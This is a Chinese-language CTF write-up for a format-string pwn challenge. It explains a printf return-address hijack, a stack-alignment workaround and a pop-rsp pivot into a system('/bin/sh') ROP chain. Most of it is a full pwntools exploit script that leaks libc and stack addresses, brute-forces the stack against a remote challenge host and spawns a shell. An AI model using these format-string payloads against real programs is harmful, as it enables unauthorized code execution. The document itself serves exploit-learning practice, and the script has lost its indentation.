how_to_fmt?

这次的比赛pwn题只有一个,很可惜白天有点事情,下午回来时间不是很够,赛后一个小时勉勉强强做了出来,很可惜

小声哭,超小声

题目漏洞很明显的fmt,不再多说了,类型和之前LItCTF2025fmt非常相似,只是当时直接ogg就可以getshell,而这个需要执行

system("/bin/sh")劫持printf函数自身的返回地址,尝试执行过pop rdi;binsh;system,但结果是rsp未对齐16字节导致失败,然后尝试加入ret使rsp对齐16字节,结果多出一个位置会导致输入的内容覆盖掉call system的地址,故失败,所以考虑在其他地方写入pop rdi;binsh;system,然后通过pop rsp;target_addr来劫持rsp,最后即可getshell

哦对,最一开始需要爆破一下栈地址,16分之一的概率,很容易

我exp中用来向目标地址写内容的脚本可以封装成一个函数,看起来会更加简便,我这里就不封装了,大家感兴趣可以自己尝试一下

这个自动化爆破脚本有些不太稳定,多试几次就好了QAQ~~

噢对,写exp的时候发现,可以直接在栈上写入pop rdi;binsh;system,然后劫持rsp就可以了,不用使用fmt写入pop rdi;binsh;system,应该可行,大家可以试一下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

libc=ELF('./libc.so.6')
elf=ELF('./fmt')

while(1):

# p=process('./fmt')
p=remote('node8.anna.nssctf.cn',21984)
ru(b'welcome fmt!\n')
payload=b"%c"*22+b'%'+str(0x208-0x16).encode()+b'c%hhn%'+str(0x32e-0x28+6-0x22+0x8e).encode()+b'c%hhn%c%ctaotao%ptaotao%ptaotao'
sl(payload)
ru(b'taotao0x')
libc_base=int(ru('tao')[:-3],16)-0x2a1ca
ogg1=li(0x583ec)
ogg2=li(0x583f3)
ogg3=li(0xef4ce)
ogg4=li(0xef52b)
ogg=ogg4
print(hex(ogg4))
rdi=li(0x000000000010f75b)
rsp=li(0x000000000003c068)
system,binsh=getshell()
try:
ru(b'tao0x')
stack=int(ru('tao')[:-3],16)
print(hex(stack))
ret=stack-0x108
ru(b'\n')
payload=b'%'+str(0x180).encode()+b'c%26$hhn'
payload=payload.ljust(0x40,b'a')
payload+=p64(ret+0x1000)+p64(0)+p64(ret+2+0x1000)+p64(0)+p64(ret+4+0x1000)+b'\x00'
p.recv(timeout=3)
s(payload)
break
except:
p.close()

payload=b'%'+str(binsh&0xffff).encode()+b'c%16$hn%'+str(0x10000-(binsh&0xffff)+((binsh>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-((binsh>>16)&0xffff)+((binsh>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-((binsh>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00'
ru(b'a'*0x10)
s(payload)

ru(b'taotao')
payload=b'%'+str(0x180).encode()+b'c%26$hhn'
payload=payload.ljust(0x40,b'a')
payload+=p64(ret+0x1000-8)+p64(0)+p64(ret+2+0x1000-8)+p64(0)+p64(ret+4+0x1000-8)+b'\x00'
s(payload)
ru(b'a'*0x10)
payload=b'%'+str((rdi)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((rdi)&0xffff)+(((rdi)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((rdi)>>16)&0xffff)+(((rdi)>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-((rdi>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00'
s(payload)

ru(b'taotao')
payload=b'%'+str(0x180).encode()+b'c%26$hhn'
payload=payload.ljust(0x40,b'a')
payload+=p64(ret+0x1000+8)+p64(0)+p64(ret+2+0x1000+8)+p64(0)+p64(ret+4+0x1000+8)+b'\x00'
s(payload)
ru(b'a'*0x10)
payload=b'%'+str((system)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((system)&0xffff)+(((system)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((system)>>16)&0xffff)+(((system)>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-((rdi>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00'
s(payload)

ru(b'taotao')
payload=b'%'+str(0x180).encode()+b'c%26$hhn'
payload=payload.ljust(0x40,b'a')
payload+=p64(ret+8)+p64(0)+p64(ret+2+8)+p64(0)+p64(ret+4+8)+b'\x00'
s(payload)
ru(b'a'*0x10)
payload=b'%'+str((ret+0x1000-8)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((ret+0x1000-8)&0xffff)+(((ret+0x1000-8)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((ret+0x1000-8)>>16)&0xffff)+(((ret+0x1000-8)>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-(((ret+0x1000-8)>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00'
s(payload)

ru(b'taotao')
payload=b'%'+str(0x180).encode()+b'c%26$hhn'
payload=payload.ljust(0x40,b'a')
payload+=p64(ret)+p64(0)+p64(ret+2)+p64(0)+p64(ret+4)+b'\x00'
s(payload)
ru(b'a'*0x10)
payload=b'%'+str((rsp)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((rsp)&0xffff)+(((rsp)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((rsp)>>16)&0xffff)+(((rsp)>>32)&0xffff)).encode()+b'c%20$hn%\x00'
s(payload)

shell()